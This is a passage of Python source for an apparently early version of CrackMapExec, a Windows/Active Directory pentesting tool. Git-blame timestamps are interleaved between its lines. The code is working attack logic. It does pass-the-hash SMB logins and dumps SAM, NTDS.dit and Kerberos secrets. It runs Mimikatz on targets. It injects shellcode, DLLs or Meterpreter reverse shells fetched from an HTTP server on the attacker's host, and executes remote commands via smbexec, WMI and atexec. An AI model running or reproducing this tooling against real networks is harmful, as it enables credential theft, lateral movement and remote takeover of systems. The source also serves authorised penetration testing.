Invoke - ReflectivePEInjection - PEUrl { protocol } : / / { addr } / { pefile } """ .format(protocol=protocol,
addr = localip ,
pefile = args . path . split ( ' / ' ) [ - 1 ] )
2015-09-13 17:39:39 +00:00
if args . procid :
command + = " -ProcID {} "
if args . inject == ' exe ' and args . exeargs :
command + = " -ExeArgs \" {} \" " . format ( args . exeargs )
command + = ' ; '
return ps_command ( command )
2015-08-14 14:18:52 +00:00
def connect ( host ) :
try :
2015-08-17 16:40:10 +00:00
2015-08-14 14:18:52 +00:00
smb = SMBConnection ( host , host , None , args . port )
try :
smb . login ( ' ' , ' ' )
except SessionError as e :
if " STATUS_ACCESS_DENIED " in e . message :
pass
2015-09-07 08:52:46 +00:00
domain = args . domain
2015-08-20 21:33:18 +00:00
s_name = smb . getServerName ( )
2015-08-14 14:18:52 +00:00
if not domain :
2015-09-07 08:52:46 +00:00
domain = smb . getServerDomain ( )
if not domain :
domain = s_name
2015-08-14 14:18:52 +00:00
2015-08-28 19:17:36 +00:00
print_status ( " {} : {} is running {} (name: {} ) (domain: {} ) " . format ( host , args . port , smb . getServerOS ( ) , s_name , domain ) )
2015-08-20 21:33:18 +00:00
2015-10-04 06:04:08 +00:00
'''
DC ' s seem to want us to logoff first
Workstations sometimes reset the connection , so we handle both cases here
'''
2015-08-20 21:33:18 +00:00
try :
smb . logoff ( )
2015-08-21 15:12:07 +00:00
except NetBIOSError :
pass
2015-08-20 21:33:18 +00:00
except socket . error :
smb = SMBConnection ( host , host , None , args . port )
2015-08-15 20:48:54 +00:00
2015-10-05 05:00:40 +00:00
if ( args . user is not None and ( args . passwd is not None or args . hash is not None ) ) or args . combo_file :
2015-08-22 13:30:34 +00:00
2015-10-04 06:04:08 +00:00
smb = smart_login ( host , smb , domain )
2015-08-15 13:32:57 +00:00
2015-08-19 14:33:56 +00:00
noOutput = False
2015-09-13 17:39:39 +00:00
local_ip = smb . getSMBServer ( ) . get_socket ( ) . getsockname ( ) [ 0 ]
2015-08-19 14:33:56 +00:00
if args . download :
2015-10-05 06:14:34 +00:00
out = open ( args . download . split ( ' \\ ' ) [ - 1 ] , ' wb ' )
smb . getFile ( args . share , args . download , out . write )
print_succ ( " {} : {} {} Downloaded file " . format ( host , args . port , s_name ) )
2015-08-14 14:18:52 +00:00
2015-08-19 14:33:56 +00:00
if args . delete :
2015-10-05 06:14:34 +00:00
smb . deleteFile ( args . share , args . delete )
print_succ ( " {} : {} {} Deleted file " . format ( host , args . port , s_name ) )
2015-08-15 20:48:54 +00:00
2015-08-19 14:33:56 +00:00
if args . upload :
2015-10-05 06:14:34 +00:00
up = open ( args . upload [ 0 ] , ' rb ' )
smb . putFile ( args . share , args . upload [ 1 ] , up . read )
print_succ ( " {} : {} {} Uploaded file " . format ( host , args . port , s_name ) )
2015-08-14 14:18:52 +00:00
2015-08-19 14:33:56 +00:00
if args . list :
2015-10-05 06:14:34 +00:00
dir_list = smb . listPath ( args . share , args . list + ' \\ * ' )
print_succ ( " {} : {} Contents of {} : " . format ( host , args . port , args . list ) )
for f in dir_list :
2015-10-10 22:45:46 +00:00
print_att ( " {} rw-rw-rw- {:>7} {} {} " . format ( ' d ' if f . is_directory ( ) > 0 else ' - ' ,
f . get_filesize ( ) ,
strftime ( ' % Y- % m- %d % H: % M ' , localtime ( f . get_mtime_epoch ( ) ) ) ,
f . get_longname ( ) ) )
2015-08-19 14:33:56 +00:00
if args . spider :
start_time = time ( )
2015-08-28 19:17:36 +00:00
print_status ( " {} : {} {} Started spidering " . format ( host , args . port , s_name ) )
2015-08-19 14:33:56 +00:00
spider ( smb , host , args . share , args . spider , args . pattern , args . depth )
2015-08-28 19:17:36 +00:00
print_status ( " {} : {} {} Done spidering (Completed in {} ) " . format ( host , args . port , s_name , time ( ) - start_time ) )
2015-08-19 14:33:56 +00:00
2015-08-28 16:02:20 +00:00
if args . wmi_query :
query = WMIQUERY ( host , args . user , args . passwd , domain , args . hash , args . namespace )
res = query . run ( args . wmi_query )
2015-08-28 19:17:36 +00:00
print_succ ( " {} : {} {} Executed specified WMI query: " . format ( host , args . port , s_name ) )
2015-10-10 15:28:04 +00:00
for k , v in res . iteritems ( ) :
print_att ( ' {} : {} ' . format ( k , ' , ' . join ( v ) ) )
2015-08-28 16:02:20 +00:00
2015-08-19 14:33:56 +00:00
if args . enum_sessions :
rpcenum = RPCENUM ( args . user , args . passwd , domain , args . hash )
sessions = rpcenum . enum_sessions ( host )
2015-08-28 19:17:36 +00:00
print_succ ( " {} : {} {} Current active sessions: " . format ( host , args . port , s_name ) )
2015-08-19 14:33:56 +00:00
for session in sessions :
for fname in session . fields . keys ( ) :
2015-08-28 19:17:36 +00:00
print " {} {} " . format ( fname , yellow ( session [ fname ] ) )
2015-08-19 14:33:56 +00:00
if args . enum_lusers :
rpcenum = RPCENUM ( args . user , args . passwd , domain , args . hash )
lusers = rpcenum . enum_logged_on_users ( host )
2015-08-28 19:17:36 +00:00
print_succ ( " {} : {} {} Logged on users: " . format ( host , args . port , s_name ) )
2015-08-19 14:33:56 +00:00
for luser in lusers :
for fname in luser . fields . keys ( ) :
2015-08-28 19:17:36 +00:00
print " {} {} " . format ( fname , yellow ( luser [ fname ] ) )
2015-08-19 14:33:56 +00:00
2015-10-06 08:07:28 +00:00
if args . enum_disks :
rpcenum = RPCENUM ( args . user , args . passwd , domain , args . hash )
disks = rpcenum . enum_disks ( host )
print_succ ( " {} : {} {} Available disks: " . format ( host , args . port , s_name ) )
for disk in disks [ ' DiskInfoStruct ' ] [ ' Buffer ' ] :
for dname in disk . fields . keys ( ) :
print_att ( disk [ dname ] )
if args . rid_brute :
lookup = LSALookupSid ( args . user , args . passwd , domain , ' {} /SMB ' . format ( args . port ) , args . hash , args . rid_brute )
lookup . dump ( host )
print_succ ( " {} : {} {} Dumping users (rid:domain:user): " . format ( host , args . port , s_name ) )
for user in lookup . entries :
print_att ( user )
if args . pass_pol :
dumper = SAMRDump ( " {} /SMB " . format ( args . port ) , args . user , args . passwd , domain , args . hash )
pass_policy = dumper . get_pass_pol ( host )
print_succ ( " {} : {} {} Dumping password policies: " . format ( host , args . port , s_name ) )
for policy in pass_policy :
print_att ( policy )
if args . enum_users :
user_enum = SAMRDump ( " {} /SMB " . format ( args . port ) , args . user , args . passwd , domain , args . hash )
users = user_enum . get_users ( host )
print_succ ( " {} : {} {} Dumping users (rid:user): " . format ( host , args . port , s_name ) )
for user in users :
print_att ( ' {} : {} ' . format ( user [ 1 ] , user [ 0 ] ) )
2015-10-09 01:09:02 +00:00
if args . list_shares :
2015-10-09 23:52:33 +00:00
share_list = enum_shares ( smb )
2015-10-09 01:09:02 +00:00
print_succ ( ' {} : {} {} Available shares: ' . format ( host , args . port , s_name ) )
2015-10-10 22:45:46 +00:00
print_att ( ' {:>15} {:>15} ' . format ( ' SHARE ' , ' Permissions ' ) )
print_att ( ' {:>15} {:>15} ' . format ( ' ----- ' , ' ----------- ' ) )
2015-10-09 01:09:02 +00:00
for share , perm in share_list . iteritems ( ) :
2015-10-09 18:58:09 +00:00
if not perm :
2015-10-10 22:45:46 +00:00
print_att ( ' {:>15} {:>15} ' . format ( share , ' NO ACCESS ' ) )
2015-10-09 18:58:09 +00:00
else :
2015-10-10 22:45:46 +00:00
print_att ( ' {:>15} {:>15} ' . format ( share , ' , ' . join ( perm ) ) )
2015-10-09 01:09:02 +00:00
2015-10-07 20:24:03 +00:00
if args . check_uac :
remoteOps = RemoteOperations ( smb )
remoteOps . enableRegistry ( )
uac = remoteOps . checkUAC ( )
print_succ ( " {} : {} {} UAC status: " . format ( host , args . port , s_name ) )
if uac == 1 :
print_att ( ' 1 - UAC Enabled ' )
elif uac == 0 :
print_att ( ' 0 - UAC Disabled ' )
remoteOps . finish ( )
2015-08-19 14:33:56 +00:00
if args . sam :
2015-08-21 02:55:39 +00:00
sam_dump = DumpSecrets ( host , args . user , args . passwd , domain , args . hash , True )
sam_dump . dump ( smb )
2015-08-20 21:33:18 +00:00
if sam_dump . dumped_sam_hashes :
2015-08-28 19:17:36 +00:00
print_succ ( " {} : {} {} Dumping local SAM hashes (uid:rid:lmhash:nthash): " . format ( host , args . port , s_name ) )
2015-08-20 21:33:18 +00:00
for sam_hash in sam_dump . dumped_sam_hashes :
2015-08-28 19:17:36 +00:00
print_att ( sam_hash )
2015-08-21 02:55:39 +00:00
try :
sam_dump . cleanup ( )
except :
pass
2015-08-20 21:33:18 +00:00
if args . ntds :
2015-08-21 02:55:39 +00:00
vss = False
ninja = False
2015-08-20 21:33:18 +00:00
if args . ntds == ' vss ' : vss = True
2015-10-06 08:07:28 +00:00
elif args . ntds == ' ninja ' : ninja = True
2015-08-20 21:33:18 +00:00
2015-08-21 02:55:39 +00:00
ntds_dump = DumpSecrets ( host , args . user , args . passwd , domain , args . hash , False , True , vss , ninja )
ntds_dump . dump ( smb )
2015-08-20 21:33:18 +00:00
if ntds_dump . dumped_ntds_hashes :
2015-08-28 19:17:36 +00:00
print_succ ( " {} : {} {} Dumping NTDS.dit secrets using the {} method (domain \ uid:rid:lmhash:nthash): " . format ( host , args . port , s_name , args . ntds . upper ( ) ) )
2015-08-20 21:33:18 +00:00
for h in ntds_dump . dumped_ntds_hashes [ ' hashes ' ] :
2015-08-28 19:17:36 +00:00
print_att ( h )
print_succ ( " {} : {} {} Kerberos keys grabbed: " . format ( host , args . port , s_name ) )
2015-08-20 21:33:18 +00:00
for h in ntds_dump . dumped_ntds_hashes [ ' kerb ' ] :
2015-08-28 19:17:36 +00:00
print_att ( h )
2015-08-20 21:33:18 +00:00
ntds_dump . cleanup ( )
2015-08-19 14:33:56 +00:00
if args . mimikatz :
noOutput = True
2015-10-16 21:25:35 +00:00
args . command = gen_mimikatz_command ( local_ip )
2015-08-19 14:33:56 +00:00
2015-09-27 12:50:17 +00:00
if args . mimi_cmd :
noOutput = True
2015-10-16 21:25:35 +00:00
args . command = gen_mimikatz_command ( local_ip , args . mimi_cmd )
2015-09-27 12:50:17 +00:00
2015-08-19 14:33:56 +00:00
if args . pscommand :
2015-10-16 21:25:35 +00:00
args . command = ps_command ( args . pscommand )
2015-08-19 14:33:56 +00:00
2015-09-13 17:39:39 +00:00
if args . inject :
2015-09-13 20:50:06 +00:00
noOutput = True
2015-10-08 18:57:16 +00:00
args . command = inject_pscommand ( local_ip )
2015-09-13 17:39:39 +00:00
2015-08-19 14:33:56 +00:00
if args . command :
if args . execm == ' smbexec ' :
executer = CMDEXEC ( ' {} /SMB ' . format ( args . port ) , args . user , args . passwd , domain , args . hash , args . share , args . command , noOutput )
result = executer . run ( host )
if result :
2015-08-28 19:17:36 +00:00
print_succ ( ' {} : {} {} Executed specified command via SMBEXEC ' . format ( host , args . port , s_name ) )
print_att ( result )
2015-08-19 14:33:56 +00:00
elif args . execm == ' wmi ' :
executer = WMIEXEC ( args . command , args . user , args . passwd , domain , args . hash , args . share , noOutput )
result = executer . run ( host , smb )
if result :
2015-08-28 19:17:36 +00:00
print_succ ( ' {} : {} {} Executed specified command via WMI ' . format ( host , args . port , s_name ) )
print_att ( result )
2015-08-19 14:33:56 +00:00
elif args . execm == ' atexec ' :
atsvc_exec = TSCH_EXEC ( args . user , args . passwd , args . command , domain , args . hash , noOutput )
atsvc_exec . play ( host )
if atsvc_exec . output :
2015-08-28 19:17:36 +00:00
print_succ ( ' {} : {} {} Executed specified command via ATEXEC ' . format ( host , args . port , s_name ) )
print_att ( atsvc_exec . output )
2015-08-19 14:33:56 +00:00
atsvc_exec . cleanup ( )
2015-08-15 13:32:57 +00:00
try :
smb . logoff ( )
except :
pass
2015-08-14 14:18:52 +00:00
2015-08-15 13:32:57 +00:00
except SessionError as e :
2015-08-28 19:17:36 +00:00
print_error ( " {} : {} {} " . format ( host , args . port , e ) )
2015-08-20 21:33:18 +00:00
if args . verbose : traceback . print_exc ( )
2015-08-14 14:18:52 +00:00
2015-10-05 05:00:40 +00:00
except NetBIOSError as e :
print_error ( " {} : {} NetBIOS Error: {} " . format ( host , args . port , e ) )
if args . verbose : traceback . print_exc ( )
2015-08-15 20:48:54 +00:00
except DCERPCException as e :
2015-08-28 19:17:36 +00:00
print_error ( " {} : {} DCERPC Error: {} " . format ( host , args . port , e ) )
2015-08-20 21:33:18 +00:00
if args . verbose : traceback . print_exc ( )
2015-08-14 14:18:52 +00:00
2015-08-15 20:48:54 +00:00
except socket . error as e :
2015-10-05 06:14:34 +00:00
if args . verbose : print str ( e )
2015-08-15 20:48:54 +00:00
return
2015-08-14 14:18:52 +00:00
def concurrency ( hosts ) :
''' Open all the greenlet threads '''
try :
pool = Pool ( args . threads )
jobs = [ pool . spawn ( connect , str ( host ) ) for host in hosts ]
joinall ( jobs )
except KeyboardInterrupt :
2015-08-28 19:17:36 +00:00
print_status ( " Got CTRL-C! Exiting.. " )
2015-08-17 16:40:10 +00:00
sys . exit ( )
2015-08-14 14:18:52 +00:00
if __name__ == ' __main__ ' :
if os . geteuid ( ) is not 0 :
2015-08-28 19:17:36 +00:00
print_error ( " Run me as r00t! " )
sys . exit ( 1 )
2015-08-14 14:18:52 +00:00
2015-08-28 19:38:50 +00:00
parser = argparse . ArgumentParser ( description = """
______ . ______ ___ ______ __ ___ . ___ ___ . ___ . ______ _______ ___ ___ _______ ______
/ | | _ \ / \ / | | | / / | \/ | / \ | _ \ | ____ | \ \ / / | ____ | / |
| , - - - - ' | |_) | / ^ \ | ,---- ' | ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,---- '
| | | / / / _ \ \ | | | < | | \/ | | / / _ \ \ | ___ / | __ | > < | __ | | |
| ` - - - - . | | \ \- - - - . / _____ \ | ` - - - - . | . \ | | | | / _____ \ | | | | ____ / . \ | | ____ | ` - - - - .
\______ | | _ | ` . _____ | / __ / \__ \ \______ | | __ | \__ \ | __ | | __ | / __ / \__ \ | _ | | _______ | / __ / \__ \ | _______ | \______ |
Swiss army knife for pentesting Windows / Active Directory environments | @byt3bl33d3r
Powered by Impacket https : / / github . com / CoreSecurity / impacket ( @agsolino )
Inspired by :
@ShawnDEvans ' s smbmap https://github.com/ShawnDEvans/smbmap
@gojhonny ' s CredCrack https://github.com/gojhonny/CredCrack
@pentestgeek ' s smbexec https://github.com/pentestgeek/smbexec
""" ,
formatter_class = RawTextHelpFormatter ,
epilog = ' There \' s been an awakening... have you felt it? ' )
2015-08-14 14:18:52 +00:00
2015-08-19 14:33:56 +00:00
parser . add_argument ( " -t " , type = int , dest = " threads " , required = True , help = " Set how many concurrent threads to use " )
2015-10-04 06:04:08 +00:00
parser . add_argument ( " -u " , metavar = " USERNAME " , dest = ' user ' , type = str , default = None , help = " Username(s) or file containing usernames " )
parser . add_argument ( " -p " , metavar = " PASSWORD " , dest = ' passwd ' , type = str , default = None , help = " Password(s) or file containing passwords " )
parser . add_argument ( " -H " , metavar = " HASH " , dest = ' hash ' , type = str , default = None , help = ' NTLM hash(es) or file containing NTLM hashes ' )
parser . add_argument ( " -C " , metavar = " COMBO_FILE " , dest = ' combo_file ' , type = str , help = " Combo file containing a list of domain \\ username:password or username:password entries " )
2015-09-07 08:52:46 +00:00
parser . add_argument ( " -d " , metavar = " DOMAIN " , dest = ' domain ' , default = None , help = " Domain name " )
2015-10-04 06:04:08 +00:00
parser . add_argument ( " -n " , metavar = ' NAMESPACE ' , dest = ' namespace ' , default = ' //./root/cimv2 ' , help = ' WMI Namespace (default //./root/cimv2) ' )
2015-08-20 21:33:18 +00:00
parser . add_argument ( " -s " , metavar = " SHARE " , dest = ' share ' , default = " C$ " , help = " Specify a share (default: C$) " )
2015-10-04 06:04:08 +00:00
parser . add_argument ( " --port " , dest = ' port ' , type = int , choices = { 139 , 445 } , default = 445 , help = " SMB port (default: 445) " )
2015-10-16 21:25:35 +00:00
parser . add_argument ( " --https " , dest = ' ssl ' , action = ' store_true ' , help = ' Serve everything over https instead of http ' )
2015-08-19 14:33:56 +00:00
parser . add_argument ( " -v " , action = ' store_true ' , dest = ' verbose ' , help = " Enable verbose output " )
2015-08-29 10:26:15 +00:00
parser . add_argument ( " target " , nargs = 1 , type = str , help = " The target range, CIDR identifier or file containing targets " )
2015-08-14 14:18:52 +00:00
2015-08-15 20:48:54 +00:00
rgroup = parser . add_argument_group ( " Credential Gathering " , " Options for gathering credentials " )
2015-08-22 13:30:34 +00:00
rgroup . add_argument ( " --sam " , action = ' store_true ' , help = ' Dump SAM hashes from target systems ' )
2015-10-04 06:34:43 +00:00
rgroup . add_argument ( " --mimikatz " , action = ' store_true ' , help = ' Run Invoke-Mimikatz (sekurlsa::logonpasswords) on target systems ' )
2015-10-04 06:04:08 +00:00
rgroup . add_argument ( " --mimikatz-cmd " , metavar = ' MIMIKATZ_CMD ' , dest = ' mimi_cmd ' , help = ' Run Invoke-Mimikatz with the specified command ' )
2015-08-21 03:22:49 +00:00
rgroup . add_argument ( " --ntds " , choices = { ' vss ' , ' drsuapi ' , ' ninja ' } , help = " Dump the NTDS.dit from target DCs using the specifed method \n (drsuapi is the fastest) " )
2015-08-15 13:32:57 +00:00
2015-08-15 20:48:54 +00:00
egroup = parser . add_argument_group ( " Mapping/Enumeration " , " Options for Mapping/Enumerating " )
2015-08-16 13:53:08 +00:00
egroup . add_argument ( " --shares " , action = " store_true " , dest = " list_shares " , help = " List shares " )
2015-10-07 20:24:03 +00:00
egroup . add_argument ( ' --check-uac ' , action = ' store_true ' , dest = ' check_uac ' , help = ' Checks UAC status ' )
2015-08-16 13:53:08 +00:00
egroup . add_argument ( " --sessions " , action = ' store_true ' , dest = ' enum_sessions ' , help = ' Enumerate active sessions ' )
2015-10-06 08:07:28 +00:00
egroup . add_argument ( ' --disks ' , action = ' store_true ' , dest = ' enum_disks ' , help = ' Enumerate disks ' )
2015-08-16 13:53:08 +00:00
egroup . add_argument ( " --users " , action = ' store_true ' , dest = ' enum_users ' , help = ' Enumerate users ' )
2015-10-06 08:07:28 +00:00
egroup . add_argument ( " --rid-brute " , metavar = ' MAX_RID ' , dest = ' rid_brute ' , help = ' Enumerate users by bruteforcing RID \' s ' )
egroup . add_argument ( " --pass-pol " , action = ' store_true ' , dest = ' pass_pol ' , help = ' Dump password policy ' )
2015-08-16 13:53:08 +00:00
egroup . add_argument ( " --lusers " , action = ' store_true ' , dest = ' enum_lusers ' , help = ' Enumerate logged on users ' )
2015-08-28 16:02:20 +00:00
egroup . add_argument ( " --wmi " , metavar = ' QUERY ' , type = str , dest = ' wmi_query ' , help = ' Issues the specified WMI query ' )
2015-08-15 13:32:57 +00:00
2015-08-19 14:06:07 +00:00
sgroup = parser . add_argument_group ( " Spidering " , " Options for spidering shares " )
2015-10-10 03:26:48 +00:00
sgroup . add_argument ( " --spider " , metavar = ' FOLDER ' , type = str , help = ' Folder to spider ' )
2015-10-10 15:28:04 +00:00
sgroup . add_argument ( " --content " , dest = ' search_content ' , action = ' store_true ' , help = ' Enable file content searching ' )
2015-10-11 15:30:57 +00:00
sgroup . add_argument ( " --exclude-dirs " , type = str , metavar = ' DIR_LIST ' , default = ' ' , dest = ' exclude_dirs ' , help = ' Directories to exclude from spidering ' )
2015-10-10 03:26:48 +00:00
sgroup . add_argument ( " --pattern " , type = str , help = ' Pattern to search for in folders, filenames and file content (if enabled) ' )
2015-10-09 23:52:33 +00:00
sgroup . add_argument ( " --patternfile " , type = str , help = ' File containing patterns to search for in folders, filenames and file content (if enabled) ' )
sgroup . add_argument ( " --depth " , type = int , default = 10 , help = ' Spider recursion depth (default: 10) ' )
2015-08-19 14:06:07 +00:00
2015-08-15 20:48:54 +00:00
cgroup = parser . add_argument_group ( " Command Execution " , " Options for executing commands " )
2015-08-22 13:30:34 +00:00
cgroup . add_argument ( ' --execm ' , choices = { " wmi " , " smbexec " , " atexec " } , default = " smbexec " , help = " Method to execute the command (default: smbexec) " )
2015-10-08 18:57:16 +00:00
cgroup . add_argument ( ' --force-ps32 ' , action = ' store_true ' , dest = ' force_ps32 ' , help = ' Force all PowerShell code/commands to run in a 32bit process ' )
2015-08-15 13:32:57 +00:00
cgroup . add_argument ( " -x " , metavar = " COMMAND " , dest = ' command ' , help = " Execute the specified command " )
2015-08-15 20:48:54 +00:00
cgroup . add_argument ( " -X " , metavar = " PS_COMMAND " , dest = ' pscommand ' , help = ' Excute the specified powershell command ' )
2015-10-08 01:34:05 +00:00
xgroup = parser . add_argument_group ( " Shellcode/EXE/DLL/Meterpreter Injection " , " Options for injecting Shellcode/EXE/DLL/Meterpreter in memory using PowerShell " )
2015-10-08 04:21:25 +00:00
xgroup . add_argument ( " --inject " , choices = { ' shellcode ' , ' exe ' , ' dll ' , ' met_reverse_https ' , ' met_reverse_http ' } , help = ' Inject Shellcode, EXE, DLL or Meterpreter ' )
2015-10-08 18:57:16 +00:00
xgroup . add_argument ( " --path " , type = str , help = ' Path to the Shellcode/EXE/DLL you want to inject on the target systems (ignored if injecting Meterpreter) ' )
2015-10-08 01:34:05 +00:00
xgroup . add_argument ( ' --procid ' , type = int , help = ' Process ID to inject the Shellcode/EXE/DLL/Meterpreter into (if omitted, will inject within the running PowerShell process) ' )
2015-09-13 17:39:39 +00:00
xgroup . add_argument ( " --exeargs " , type = str , help = ' Arguments to pass to the EXE being reflectively loaded (ignored if not injecting an EXE) ' )
2015-10-08 04:21:25 +00:00
xgroup . add_argument ( " --met-options " , nargs = 2 , metavar = ( ' LHOST ' , ' LPORT ' ) , dest = ' met_options ' , help = ' Meterpreter options (ignored if not injecting Meterpreter) ' )
2015-09-13 17:39:39 +00:00
2015-10-06 08:07:28 +00:00
bgroup = parser . add_argument_group ( " Filesystem Interaction " , " Options for interacting with filesystems " )
2015-08-22 13:30:34 +00:00
bgroup . add_argument ( " --list " , metavar = ' PATH ' , help = ' List contents of a directory ' )
bgroup . add_argument ( " --download " , metavar = " PATH " , help = " Download a file from the remote systems " )
bgroup . add_argument ( " --upload " , nargs = 2 , metavar = ( ' SRC ' , ' DST ' ) , help = " Upload a file to the remote systems " )
bgroup . add_argument ( " --delete " , metavar = " PATH " , help = " Delete a remote file " )
2015-08-14 14:18:52 +00:00
2015-08-28 19:46:54 +00:00
if len ( sys . argv ) == 1 :
parser . print_help ( )
sys . exit ( 1 )
2015-08-14 14:18:52 +00:00
args = parser . parse_args ( )
2015-08-19 14:33:56 +00:00
if args . verbose :
2015-08-28 19:17:36 +00:00
print_status ( " Verbose output enabled " )
2015-08-19 14:33:56 +00:00
logging . basicConfig ( format = " %(asctime)s %(message)s " , datefmt = " % Y- % m- %d % H: % M: % S " )
log = logging . getLogger ( )
log . setLevel ( logging . INFO )
2015-09-28 21:08:14 +00:00
if args . inject :
2015-10-08 04:21:25 +00:00
if not args . inject . startswith ( ' met_ ' ) :
if not args . path :
2015-10-08 01:34:05 +00:00
print_error ( " You must specify a ' --path ' to the Shellcode/EXE/DLL to inject " )
sys . exit ( 1 )
2015-09-13 17:39:39 +00:00
2015-10-08 01:34:05 +00:00
elif args . path :
if not os . path . exists ( args . path ) :
print_error ( ' Unable to find Shellcode/EXE/DLL at specified path ' )
sys . exit ( 1 )
2015-10-08 04:21:25 +00:00
elif args . inject . startswith ( ' met_ ' ) :
if not args . met_options :
2015-10-10 04:01:02 +00:00
print_error ( " You must specify Meterpreter ' s options using ' --met-options ' " )
2015-09-28 21:08:14 +00:00
sys . exit ( 1 )
2015-08-29 10:26:15 +00:00
if os . path . exists ( args . target [ 0 ] ) :
hosts = [ ]
with open ( args . target [ 0 ] , ' r ' ) as target_file :
for target in target_file :
hosts . append ( IPAddress ( target ) )
elif ' - ' in args . target [ 0 ] :
2015-08-29 10:05:27 +00:00
ip_range = args . target [ 0 ] . split ( ' - ' )
try :
hosts = IPRange ( ip_range [ 0 ] , ip_range [ 1 ] )
except AddrFormatError :
start_ip = IPAddress ( ip_range [ 0 ] )
start_ip_words = list ( start_ip . words )
start_ip_words [ - 1 ] = ip_range [ 1 ]
start_ip_words = [ str ( v ) for v in start_ip_words ]
end_ip = IPAddress ( ' . ' . join ( start_ip_words ) )
hosts = IPRange ( start_ip , end_ip )
else :
hosts = IPNetwork ( args . target [ 0 ] )
2015-08-14 14:18:52 +00:00
2015-08-19 14:06:07 +00:00
if args . spider :
2015-08-19 14:17:08 +00:00
patterns = [ ]
if not args . pattern and not args . patternfile :
2015-08-28 19:17:36 +00:00
print_error ( " Please specify a ' --pattern ' or a ' --patternfile ' " )
sys . exit ( 1 )
2015-08-19 14:06:07 +00:00
2015-10-03 20:22:47 +00:00
if args . patternfile :
if not os . path . exists ( args . patternfile ) :
print_error ( " Unable to find pattern file at specified path " )
sys . exit ( 1 )
2015-08-19 14:17:08 +00:00
for line in args . patternfile . readlines ( ) :
line = line . rstrip ( )
2015-10-10 03:04:20 +00:00
patterns . append ( re . compile ( line , re . IGNORECASE ) )
2015-08-19 14:17:08 +00:00
2015-10-10 03:04:20 +00:00
patterns . extend ( re . compile ( patt , re . IGNORECASE ) for patt in args . pattern . split ( ' , ' ) )
2015-08-19 14:17:08 +00:00
args . pattern = patterns
2015-10-10 02:15:53 +00:00
args . exclude_dirs = args . exclude_dirs . split ( ' , ' )
2015-08-15 20:48:54 +00:00
2015-10-04 06:04:08 +00:00
if args . combo_file :
if not os . path . exists ( args . combo_file ) :
print_error ( ' Unable to find combo file at specified path ' )
2015-10-03 20:22:47 +00:00
sys . exit ( 1 )
2015-10-16 21:25:35 +00:00
if args . mimikatz or args . mimi_cmd or args . inject or args . ntds == ' ninja ' :
2015-08-28 19:17:36 +00:00
print_status ( " Press CTRL-C at any time to exit " )
2015-09-13 17:39:39 +00:00
print_status ( ' Note: This might take some time on large networks! Go grab a redbull! \n ' )
2015-10-16 21:25:35 +00:00
if args . ssl :
httpd = BaseHTTPServer . HTTPServer ( ( ' 0.0.0.0 ' , 443 ) , MimikatzServer )
httpd . socket = ssl . wrap_socket ( httpd . socket , certfile = ' certs/crackmapexec.crt ' , keyfile = ' certs/crackmapexec.key ' , server_side = True )
else :
httpd = BaseHTTPServer . HTTPServer ( ( ' 0.0.0.0 ' , 80 ) , MimikatzServer )
t = Thread ( name = ' HTTPServer ' , target = httpd . serve_forever )
2015-08-15 20:48:54 +00:00
t . setDaemon ( True )
t . start ( )
2015-08-14 14:18:52 +00:00
2015-10-04 06:04:08 +00:00
concurrency ( hosts )
2015-08-17 16:40:10 +00:00
2015-10-16 21:25:35 +00:00
if args . mimikatz or args . mimi_cmd or args . inject or args . ntds == ' ninja ' :
2015-08-17 16:40:10 +00:00
try :
while True :
sleep ( 1 )
except KeyboardInterrupt :
sys . exit ( )